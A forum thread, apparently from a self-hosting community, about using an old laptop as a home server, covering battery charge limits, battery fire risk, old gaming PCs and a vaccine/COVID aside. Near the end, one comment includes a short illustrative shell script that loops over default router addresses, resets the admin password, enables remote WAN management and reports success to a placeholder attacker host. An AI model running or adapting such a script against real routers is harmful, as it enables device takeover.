    it only works as a UPS if you periodically discharge the battery. My first "server" was a compaq laptop, I had used it for years and then reprovisioned it to Ubuntu Server, after 2 or 3 years of 24/7 if you unplugged it at all it just instant died because keeping it 100% charged all the time killed the battery.

    one should cap the battery at 70% or smth if keeping it connected 24/7

    I'm not sure that all laptops support capping, and I'm not sure if Panasonic ToughBook supports the drivers necessary to cap. I guess you could deploy TLP and check sudo tlp-stat -b

    I have a PC that I use as a router. It's power setup is inverter > lifepo4 battery > battery charger. Relevance here is that it's a "dumb" setup insofar as the PC can't manage the battery.

    What I did to help with battery health is figured out how long the battery should run the PC and have a scheduled disconnect of the mains power for about half that time once a day. Not as good a solution as something that can maintain a ~80% charge, but better than leaving it at 100%

    It'd work for an old laptop too, and can be accomplished with a cheap aquarium light timer.

    it's not a toughbook and idk how to configure it but my letsnote cf-rz6 came with the battery charge capped at 80%, maybe it can be configured with their windows tool (or the acpi call made by that tool). i already have linux on it so can't check tho..

    Yea, which is a fair expectation, but it's not a safe assumption. Verify it does before prolonged use. Make sure its well ventilated(heat is killer to batteries as well), and that some form of BMS is present on the system, and that it's enabled because some have the system but have it disabled by default.

    I had one active a good while back. To quote Buddy Guy '..ain't nuthin' wrong with that.' Hell, I have a 15 year old, self build computer. I use it daily. It works, and pretty well too.

    If you haven't already, I'd see if you can run it sans battery, just power cord. Reason being, old laptop batteries can be a hazard. They can swell and burst, they can over heat,. In some cases, they can become a fire hazard. Best to be safe.

    If you've already done so, then awesome , and ignore the second paragraph. Is this your first foray into selfhosting?

    Ideally see if you can do a battery charge limit. Lithium batteries are happiest around 40-60% charge. If you can limit it that low then you keep your built in UPS, don't risk the CPU running at a crawl, and the battery is happy. Even just the normal 80% that good laptops offer will be sufficient.

    I have a machine that’s 12 years old, I built it back in the early 2010s. I have some extra video cards laying around so I slapped a 2080 in and it’s now a dedicated Beat Saber machine (I don’t touch Facebook or Google code on any device with PII, so I’ve really missed playing Beat Saber.)

    It runs at 90+FPS no matter the song, and it’s got about 500 songs so far. I love that machine soooo much.

    When I built mine, I purposefully spent the $$ for a long term service machine and stocked it with all the cutting edge tech of the day in it like SLI which was wildly popular then, maxed out the mobo with RAM to 96 GB, etc. It's no modern gaming machine, but it will handle most anything you throw at it.

    Niiiiice! I did SLI 7900GTs when Crysis came out and it ran at like 40+ FPS even with explosions on screen! It cost me an unholy amount…

    the machine I now use for Beat Saber wasn’t as crazy as the Crysis machine: it’s an i5-4790k, 16 or 32GB DDR3, and a couple SSDs. I replaced its 1070 just because I had a better card laying around. I hope it works well for many years to come! It’s also SOMEHOW inexplicably powered by a 500w bronze semi-modular PSU that seems like it’s going to go on forever into eternity… I hope so, it’s been so good to me!

    You don't need to blur the private address. No one here is on your private network.

    Trust no one, always wear your tinfoil hat and don’t take vaccines.

    I'd say 'Never Trust/Always Verify', however I wouldn't say that was tinfoil hat territory. More just common sense. As far as never getting vaccines, all one has to do is go to Reddit and look up the 'Herman Cain Award' subredit to read about people who didn't get vaccines because DumbFuck Donny told them there was nothing to worry about. We are almost to the point of a measles pandemic in the US now and COVID rages on in it's new form of Cicada.

    It's all about exaggerated escalation to make it clear that im joking.

    _this message was sponsored by the darwin awards committee

    And this part also carries some weight towards the joking part

    Sorry, COVID is a sore spot for me. My lady friend was a nurse of 40 years who's career was cut short by it. She now has long COVID, and will for the rest of her life. Not because we thought COVID was bullshit, but because 70 million other dumfuck rednecks thought it was.

    If it isn't 192.168.1.0/24 then you should blur it. Mine is completely random and I keep it to myself.

    Why?

    Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they're pretty simple scripts that just try to hit default ports on default IPs.

    That's not how networking works

    If someone is on the inside of your network you have much bigger issues. Having a random subnet won't do anything as they can just look at the arp/ndp tables.

    That's what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

    newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

    …completely pointless. If it's a someone inside your network, you need more.

    This is the way to do it in my opinion. There is always an old computer laying somewhere in your house.
